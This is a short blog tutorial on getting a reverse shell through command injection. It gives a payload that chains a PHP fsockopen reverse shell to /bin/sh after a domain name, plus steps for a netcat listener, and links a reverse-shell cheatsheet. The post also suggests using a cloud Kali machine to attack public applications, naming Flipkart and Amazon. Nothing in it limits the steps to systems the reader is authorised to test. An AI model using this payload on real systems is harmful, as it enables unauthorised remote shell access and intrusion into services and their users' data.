Reverse Shell Connection via Command Injection | Shahul Hameed
Command Injection
Initially retrieve the Kali machine IP address via the command: ifconfig
Paste the following payload in the input field:
google.com > junk;php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
Make sure to replace your kali machine IP address.
Step 2: Move to Kali machine and run the nc or (netcat) listener to run the command and wait for a moment to get a reverse connection response from the application.
Note: The above application is on the same private IP in the machine. But for the real-time applications(flipkart,amazon) running in the public IP addresses, we need to use a cloud Kali machine based on public IP address only possible to attack the command injection.
Payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Comments
Post a Comment